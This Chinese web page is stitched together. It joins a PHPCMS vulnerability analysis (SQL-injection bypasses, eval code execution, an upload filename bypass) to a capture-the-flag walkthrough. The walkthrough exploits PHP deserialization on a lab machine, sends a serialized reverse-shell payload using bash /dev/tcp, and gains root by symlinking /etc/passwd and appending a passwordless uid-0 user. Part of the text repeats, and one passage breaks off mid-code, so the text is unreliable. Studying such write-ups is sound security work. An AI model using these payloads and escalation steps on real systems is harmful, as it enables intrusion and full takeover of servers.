mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS
php抓取網(wǎng)頁(yè)數據插入數據庫 外殼堅硬的谷子
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 88 次瀏覽 ? 2022-06-20 19:09
發(fā)現了一個(gè)java_script腳本(實(shí)際滲透工作中應該關(guān)注此腳本內容,能夠透出出后端的信息)
里面的內容大致的意思是
通過(guò)函數,提交表單,通過(guò)序列化的操作!IP地址等信息交給ipaddres這個(gè)變量序列化的操作!
那么在這里面既然有序列化的操作,是否會(huì )存在一個(gè)反序列化的漏洞類(lèi)型呢?
這里還看到了一個(gè)被包含的js的文件
點(diǎn)擊這個(gè)鏈接 :44441/php.js"
里面的內容大致就是序列化函數,大概率存在序列化操作
先對其頁(yè)面進(jìn)行功能化測試,輸入127.0.0.1
在結果框中輸出了結果
輸入一些運營(yíng)商的DNS的IP地址
結果顯示出來(lái),從結果上來(lái)看,就是通過(guò)操作系統的ping 命令操作得來(lái)的!
總的來(lái)說(shuō)這就是一個(gè)ping的功能界面(輸入Ip ,統計輸出一些信息是由服務(wù)端調用了系統的ping 命令而來(lái))
這個(gè)地方是否會(huì )存在命令注入漏洞呢?
使用;號,|管道符這樣的連接命令,連接一個(gè)系統id的命令
如圖:沒(méi)有任何返回
使用burp抓取請求報文,看一下內部的流量變化,是否存在序列化的數據
先把瀏覽器代理設置好
通過(guò)抓取的報文,得到的是一個(gè)POST的請求方式;
攜帶了一個(gè)obj的對象和一個(gè)ip 的變量要提交到服務(wù)端;
其中這個(gè)obj的對象里的內容經(jīng)過(guò)了url編碼,將它轉換成可識別的路徑
轉換結果,懂得序列化格式的朋友一看就是php文件之后的序列化數據的格式了
pingTest :序列化對象定義的的類(lèi)
1 :代表類(lèi)中一個(gè)數據的提交
ipAddress :類(lèi)中提交的一個(gè)數據的變量名稱(chēng)
s : 代表了序列化
9 : 代表了名稱(chēng)ipAddress 和 127.0.0.1字符串的長(cháng)度。
這就是客戶(hù)端發(fā)送的序列化數據格式到服務(wù)端,服務(wù)端收到了127.0.0.1這個(gè)IP 去完成Ping,然后返回給客戶(hù)端的一個(gè)過(guò)程!
如果覺(jué)得burp字體小,可以調的大一些
重新抓取一個(gè)請求報文,在表單中輸入 127.0.0.1;id(增加了注入命令)
在抓取的請求報文中,將obj和ip 這兩個(gè)類(lèi)中序列化數據解碼成可識別的url,看看有什么變化
序列化的格式基本沒(méi)變,變化的就是賦值多了;id 這樣的內容,字符長(cháng)度也增加到了12個(gè);
證明了表單中輸入注入命令的這些內容,由java_script腳本原封不動(dòng)的變成序列化的內容。
轉發(fā)后,服務(wù)端并沒(méi)有執行該序列化的內容
證明服務(wù)端對ip地址這樣的格式存在檢查機制!
為了弄清這個(gè)問(wèn)題,將這個(gè)原始的命令發(fā)送請求發(fā)送給repeater
url被轉換后,在repeater中點(diǎn)擊send發(fā)送給服務(wù)端
在重放的界面中,可以構造一些注入命令;
我在這里添加 | ls ,發(fā)現服務(wù)端的響應報文有500的狀態(tài)碼
改變了字符的長(cháng)度,雖然不是狀態(tài)碼500的狀態(tài)碼,但是回顯頁(yè)面是黑屏
反序列化的漏洞特征在黑盒測試下,是十分難獲取,除非拿到源碼!
那么接下來(lái),就需要再目標靶機中找源碼,在實(shí)際的滲透工作中,源碼的存儲路徑默認在根路徑下的.git或者.svn這樣的版本庫里
先停止burp的截斷功能;
訪(fǎng)問(wèn)瀏覽器,查看是否有g(shù)it的版本庫文件,結果沒(méi)有提示
查看.svn 也沒(méi)有
再回想之前的信息收集,中曾描述了這么一段話(huà):讓我們關(guān)注其備份文件
再次使用dirbuster這個(gè)工具對secure.cereal.ctf:44441這個(gè)路徑下進(jìn)行隱藏路徑和擴展名的爬取,攜帶體型較大的字典文件
在最終的爬取結果中,看到一些之前沒(méi)有被爬取出的備份文件路徑(根據計算機配置,時(shí)間長(cháng)短不一?。?br /> 先訪(fǎng)問(wèn)/icons/small的路徑,訪(fǎng)問(wèn)路徑看起來(lái)但只是有一些小圖片,這對滲透沒(méi)有什么價(jià)值;
再針對/back_en這個(gè)路徑進(jìn)行隱藏路徑的爬取,這里面是否會(huì )存在一些備份文件呢,還是利用dirbuster,只不過(guò)更換一個(gè)小體積的密碼字典文件,攜帶查詢(xún)擴展名為bak
尋找到了一個(gè)index.php.bak,并且這個(gè)http狀態(tài)碼是200 (這個(gè)狀態(tài)顯示該資源是存在的,并且能夠請求到?。?br /> 既然發(fā)現了這一個(gè)文件,回到kali中,使用wget進(jìn)行下載.index.php.bak
查看文件類(lèi)型,看起來(lái)就是一個(gè)php的腳本文件,只不過(guò)增加了一個(gè)擴展名!
使用kali的文本編輯器mousepad打開(kāi)該文件
看起來(lái)是一個(gè)帶有php標簽的php語(yǔ)言文件;
查看該php源碼文件,發(fā)現有html標簽文件
其中有java腳本文件中的一些序列化操作函數
源碼審計分析
class pingTest ---定義了類(lèi)(反序列化對象的類(lèi))
public $ipAddress = "127.0.0.1";--變量名稱(chēng)和賦值
public $isValid = False; -- 校驗是失敗的
public $output = ""; -- 空值
這是之前抓取的報文中obj對象中有的內容
function validate() {-- 定義了一個(gè)函數
if (!$this->isValid) { -- 校驗isValid函數是真還是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用過(guò)濾器對傳入的IpAddress使用方法(使用filter_var進(jìn)行判斷)
$this->isValid = True;--fileter_var函數校驗賦值若成功,將這個(gè)valid值變?yōu)門(mén)rue
}
}
$this->ping(); -- 執行Ping的命令;
}
public function ping() -- 以下是ping 的命令函數具體操作內容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 執行內容就是使用ping 三個(gè)報文;
這里需要明白的是過(guò)濾器FILTERVALIDATE_IP 里的內容是在目標靶機中別的文件里進(jìn)行定義的,其作用就是判斷輸入的內容是不是真正的IP,若是真正的IP,就將isValid改為T(mén)rue;
當post請求接收到來(lái)自obj請求的賦值時(shí),進(jìn)行一個(gè)解碼的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解碼
} else {
$pingTest = new pingTest; -- 新的賦值
}
$pingTest->validate(); --調用vali
分析完成后,攻擊思路的重點(diǎn)放在提交的數據(IP地址)校驗結果取決于與isvalid判定的結果,在源碼文件中,默認isValid = False,若是生成一個(gè)序列化的數據,聲明isValid值就等于True,這樣的話(huà),就會(huì )執行ping命令了!
實(shí)現繞過(guò)服務(wù)端的檢查!
反序列化漏洞的利用方法
先在客戶(hù)端上生成一個(gè)序列化的數據序列(內容中需要聲明類(lèi),調用類(lèi)創(chuàng )建一個(gè)新的序列化對象,,對象中的valid指定true,注入Ip地址后添加系統指令)實(shí)現饒過(guò)isValid真假的校驗。
在kali上新建一個(gè)生成序列化的php文件,寫(xiě)一個(gè)ser1.php的php的代碼
運行該php文件
生成了一個(gè)序列,將這個(gè)序列化的內容拷貝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將序列化內容粘貼到截獲的報文之中去
將這個(gè)url 地址轉換一下
能夠看到有兩個(gè)鍵值對 ipaddress 和isvalid
b=1 為布爾值,代表了真的意思!
點(diǎn)擊發(fā)送,服務(wù)端返回了http狀態(tài)碼200
再觀(guān)察服務(wù)端渲染回來(lái)的界面結果,看起來(lái),是執行成功了!
再次驗證結果,將生成序列化里的內容,稍作修改,將ipaddress改成另外一個(gè)Ip地址,(注意,如果改202.106.0.20這個(gè)IP,字符長(cháng)度就要從原來(lái)的9變?yōu)?2)要不然服務(wù)端會(huì )回顯500的狀態(tài)碼!
結果成功!
由此,可以證明構造序列化的數據向服務(wù)端提交請求!,ip地址后面加入一些系統指令,來(lái)進(jìn)一步證明!
這里我在223.5.5.5后面增加了 ;id
服務(wù)端回顯了200的狀態(tài)碼
渲染界面里提示成功!
觀(guān)察服務(wù)端回顯的回應源數據文件
id的命令被執行了,目標靶機的第一個(gè)用戶(hù)身份是apache的用戶(hù)名稱(chēng)
因此,就可以在此處插入更多的指令
查看目標靶機中是否有nc的命令?
結果命令沒(méi)有回顯
由于插入常規的反彈shell 會(huì )導致字符長(cháng)度過(guò)長(cháng),出于簡(jiǎn)單的目的,使用bash直接連接,產(chǎn)生網(wǎng)絡(luò )連接的方式!
輸入以下內容:
在kali中繼續修改ser1.php文件
保存ser1.php文件后,在kali上開(kāi)啟偵聽(tīng)3028端口
再次運行 ser1.php文件,生成一個(gè)新的序列化數據O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將這個(gè)序列化的數據內容插入的repter之中,點(diǎn)擊發(fā)送!
如圖所示:獲得了一個(gè)反彈shell的鏈接!身份是apche
本地提權
先收獲第一個(gè)flag!
查看操作系統版本
查看 sudo 權限以及尋找suid文件漏洞,都沒(méi)有得到有效的線(xiàn)索!
查看 目標系統內的所有用戶(hù)
發(fā)現有一個(gè)rocky的用戶(hù)可以登錄系統!
查看rocky用戶(hù)下的所有文件
重點(diǎn)放在了public_html下的文件,可以看到44441端口下的一些文件
進(jìn)入到該文件目錄,查看index.php 這個(gè)文件,發(fā)現內容和我之前下載的那個(gè)文件內容一樣!類(lèi)中的定義也是一樣的!
查看目標靶機的系統進(jìn)程
沒(méi)有發(fā)現可利用的線(xiàn)索 (mysql用的是非root)
目標靶機啟用了大量的端口!
這就是在端口掃描階段,端口結果沒(méi)有應用的原因!靶機作者用nc空開(kāi)了許多無(wú)用的端口!
在漫長(cháng)的信息收集后,決定使用一個(gè)監視目標靶機進(jìn)程產(chǎn)生的工具
pspy64一個(gè)linux系統進(jìn)程監控工具
下載地址:
部分網(wǎng)絡(luò )環(huán)境需要掛的代理訪(fǎng)問(wèn)
百度云下載地址:
提取碼:1zrs
從該軟件的自述文件可以得知,不需要root身份就可以監控用戶(hù)(操作系統)的新的進(jìn)程創(chuàng )建,符合目前靶機的情況,來(lái)搜尋后臺的進(jìn)程-crond,這些后臺進(jìn)程會(huì )運行腳本文件(這些進(jìn)程是root身份運行,比如定時(shí)任務(wù)什么的)
我現將這個(gè)軟件上傳到我的kali上去,因為目標靶機的系統是64位,因此我下載的這個(gè)Pspy也是64位的!
先查看目標靶機的定時(shí)任務(wù)和root下的定時(shí)任務(wù)
在root下提示是沒(méi)有權限的!
將pspy64這個(gè)文件上傳到目標靶機之中,查看目標靶機系統是否會(huì )在一段時(shí)間過(guò)后,自動(dòng)創(chuàng )建一些后臺進(jìn)程(這些進(jìn)程由root身份運行的呢?)
通過(guò)觀(guān)察,在這個(gè)路徑下,我目前的身份是apache ,而這些文件的用戶(hù)組是apche,是擁有所有的權限的,包括了寫(xiě)入的權限!
因此,我利用nc 來(lái)接收這個(gè)pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
傳入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加執行權限到pspy文件~
啟動(dòng)改文件 ./pspy
這個(gè)啟動(dòng)和執行過(guò)程需要等待一會(huì ),系統會(huì )不會(huì )有新的進(jìn)程出現
??!
1:33
在后臺進(jìn)程中,我發(fā)現了一個(gè)叫做chown.sh的腳本,眾所周知chown是linux的一個(gè)命令
這應該是管理員自己創(chuàng )建的一個(gè)腳本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上監聽(tīng)3031端口,增加一個(gè)反彈shell的連接
修改之前抓取的obj對象里數據內容,將之前觸發(fā)序列化漏洞的數據,有一個(gè)端口改為3031
查看目標靶機里的文件,能夠查看到這個(gè)文件的權限是可以被其他用戶(hù)所讀取
查看該chown.sh文件
看起來(lái)是將周期性的這個(gè)/home/rocky/public_html/* 這個(gè)目標文件夾下所有的文件權限改成屬主是rocky,屬組是apache
這就是我之前有一個(gè)chmod +x 執行失敗的原因,正好趕上周期性的將這個(gè)目錄下所有文件的屬主和屬組改變,讓我無(wú)法修改
一個(gè)周期過(guò)后,我在看這個(gè)public_html下所有的文件的屬主和屬組都發(fā)生了變化!
那么,這個(gè)命令腳本內容對目前滲透有什么幫助呢?
軟連接這個(gè)命令這個(gè)時(shí)候就派上了用場(chǎng)!
先來(lái)看一下系統的/etc/passwd這個(gè)文件的屬主和屬組
在kali上只有root用戶(hù)有可讀可寫(xiě)權限,其他的只有讀的權限
在目標靶機中的這個(gè)/etc/passwd文件是屬主和屬組擁有完全權限!
難么在靶機的這個(gè)/home/rocky/public_html下也新建一個(gè)Passwd文件,并連接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
這個(gè)chown.sh腳本在周期性的執行,會(huì )把這個(gè)/home/rokcy/public_html下的passwd文件屬主改為rocky, 屬組改為apache!
等待一段時(shí)間觀(guān)察,監控到chown腳本周期執行,權限會(huì )發(fā)生變化,
可是圖中的passd權限卻沒(méi)有發(fā)生變化!
按照理論目標靶機的/etc/passwd這個(gè)文件的屬主和屬組也會(huì )被修改成rokcy和apache的!
觀(guān)察,/etc/passwd這個(gè)文件的屬主和屬組變化了!
這樣的話(huà)就可以將root密碼設為空了!
因為當前獲得的反彈shell 不太穩定
我這里新建一個(gè)用戶(hù),密碼占位符x 刪除掉,不需要密碼,使用的是uid和gid都為0的設置,了解linux用戶(hù)屬性的都知道uid=0 gid=0 的賬號一定是root角色,并將這些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切換到daidai這個(gè)用戶(hù)
提權成功,獲取flag
到此結束,打靶結束!
查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 外殼堅硬的谷子
發(fā)現了一個(gè)java_script腳本(實(shí)際滲透工作中應該關(guān)注此腳本內容,能夠透出出后端的信息)
里面的內容大致的意思是
通過(guò)函數,提交表單,通過(guò)序列化的操作!IP地址等信息交給ipaddres這個(gè)變量序列化的操作!
那么在這里面既然有序列化的操作,是否會(huì )存在一個(gè)反序列化的漏洞類(lèi)型呢?
這里還看到了一個(gè)被包含的js的文件
點(diǎn)擊這個(gè)鏈接 :44441/php.js"
里面的內容大致就是序列化函數,大概率存在序列化操作
先對其頁(yè)面進(jìn)行功能化測試,輸入127.0.0.1
在結果框中輸出了結果
輸入一些運營(yíng)商的DNS的IP地址
結果顯示出來(lái),從結果上來(lái)看,就是通過(guò)操作系統的ping 命令操作得來(lái)的!
總的來(lái)說(shuō)這就是一個(gè)ping的功能界面(輸入Ip ,統計輸出一些信息是由服務(wù)端調用了系統的ping 命令而來(lái))
這個(gè)地方是否會(huì )存在命令注入漏洞呢?
使用;號,|管道符這樣的連接命令,連接一個(gè)系統id的命令
如圖:沒(méi)有任何返回
使用burp抓取請求報文,看一下內部的流量變化,是否存在序列化的數據
先把瀏覽器代理設置好
通過(guò)抓取的報文,得到的是一個(gè)POST的請求方式;
攜帶了一個(gè)obj的對象和一個(gè)ip 的變量要提交到服務(wù)端;
其中這個(gè)obj的對象里的內容經(jīng)過(guò)了url編碼,將它轉換成可識別的路徑
轉換結果,懂得序列化格式的朋友一看就是php文件之后的序列化數據的格式了
pingTest :序列化對象定義的的類(lèi)
1 :代表類(lèi)中一個(gè)數據的提交
ipAddress :類(lèi)中提交的一個(gè)數據的變量名稱(chēng)
s : 代表了序列化
9 : 代表了名稱(chēng)ipAddress 和 127.0.0.1字符串的長(cháng)度。
這就是客戶(hù)端發(fā)送的序列化數據格式到服務(wù)端,服務(wù)端收到了127.0.0.1這個(gè)IP 去完成Ping,然后返回給客戶(hù)端的一個(gè)過(guò)程!
如果覺(jué)得burp字體小,可以調的大一些
重新抓取一個(gè)請求報文,在表單中輸入 127.0.0.1;id(增加了注入命令)
在抓取的請求報文中,將obj和ip 這兩個(gè)類(lèi)中序列化數據解碼成可識別的url,看看有什么變化
序列化的格式基本沒(méi)變,變化的就是賦值多了;id 這樣的內容,字符長(cháng)度也增加到了12個(gè);
證明了表單中輸入注入命令的這些內容,由java_script腳本原封不動(dòng)的變成序列化的內容。
轉發(fā)后,服務(wù)端并沒(méi)有執行該序列化的內容
證明服務(wù)端對ip地址這樣的格式存在檢查機制!
為了弄清這個(gè)問(wèn)題,將這個(gè)原始的命令發(fā)送請求發(fā)送給repeater
url被轉換后,在repeater中點(diǎn)擊send發(fā)送給服務(wù)端
在重放的界面中,可以構造一些注入命令;
我在這里添加 | ls ,發(fā)現服務(wù)端的響應報文有500的狀態(tài)碼
改變了字符的長(cháng)度,雖然不是狀態(tài)碼500的狀態(tài)碼,但是回顯頁(yè)面是黑屏
反序列化的漏洞特征在黑盒測試下,是十分難獲取,除非拿到源碼!
那么接下來(lái),就需要再目標靶機中找源碼,在實(shí)際的滲透工作中,源碼的存儲路徑默認在根路徑下的.git或者.svn這樣的版本庫里
先停止burp的截斷功能;
訪(fǎng)問(wèn)瀏覽器,查看是否有g(shù)it的版本庫文件,結果沒(méi)有提示
查看.svn 也沒(méi)有
再回想之前的信息收集,中曾描述了這么一段話(huà):讓我們關(guān)注其備份文件
